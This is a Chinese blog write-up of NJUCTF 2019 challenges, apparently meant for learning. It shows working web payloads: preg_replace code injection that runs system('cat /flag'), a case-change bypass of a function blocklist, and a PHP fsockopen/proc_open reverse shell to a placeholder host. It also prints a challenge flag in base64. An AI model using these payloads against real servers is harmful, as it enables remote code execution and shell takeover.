NJUCTF2019-部分wp
前言
虽然拿了一血但是是靠手速哈哈。
web-replace
既然这么出了一定是考replace.
提示php5.6 考虑到preg_replace 在新版本已经废弃。那么就是考preg_replace了。
首页三个框框:
目测是对应preg_replace 三个参数。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
总的来说就是: preg_replace(‘原来的文本’,‘替换的单词’,‘新单词’)
那么构造payload: sub=jesen666&pat=.*&rep=eval($_POST[a])&a=system('cat /flag');
post过去即可。。
web-flask
这题过于简单。。
进门这个点击以后看看,
修改以下url:
漏洞已经出现,这里直接放出payload。毕竟原理在网上已经有。
1 |
|
这里注意它过滤了flag字符,所以需要拆开flag后用+链接。。。
web-hacker_backdoor
给出代码
1 |
|
分析以下:需要get传入code和useful参数,useful参数需要是系统已经存在的文件。这里使用file:///etc/passwd
$dangerous数组,把内置函数全部取出,并加入eval和assert来阻止执行。
研究绕过
这里我们可以在网上百度得到strpos一般是用数组绕过的,但是我在做题时候发现,我没有成功,紧接着查阅php.net文档,发现strpos是大小写敏感的。
那么就简单了。构造 /?code=PhPinfO();&useful=file:///etc/passwd
成功绕过。
成功执行命令
发现禁用了大多数函数,但是没有禁用fsockopen,proc_close和proc_open,那么完全可以反弹shell。
反弹代码:
1 |
|
构造payload:/?code=EVAL($_GET[a]);&useful=file:///etc/passwd&a=$sock=fsockopen('xx','xxxxx');$descriptorspec = array(0 => $sock,1 => $sock,2 => $sock);$process=proc_open('/bin/sh', $descriptorspec, $pipes);proc_close($process);
这里为了观赏性,a是urldecode之后的,在利用的时候需要使用urlencode。
misc-pip install
官方给了个命令让安装pip install --user nctf-2019-installme
果断安装,安装后发现源码只有:
1 |
|
那么只能去pypi官网,去官网查找nctf-2019-installme
包,下载zip源码。在setup.py中发现
1 |
|
解码base64TkNURntjNHJlZnVsX2FiMHU3X2V2MWxfcGlwX3A0Y2thZ2V9
即可得到flag.
结束
还是很难的(对于我这种萌新来说),最可惜的结束phar那道题,有反序列化,但是没有找到对应的危险类,只有一个孤零零的curl。。。。静等赛后官方wp。唉唉唉。。。
但是。。。我很开心 哈哈哈。
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!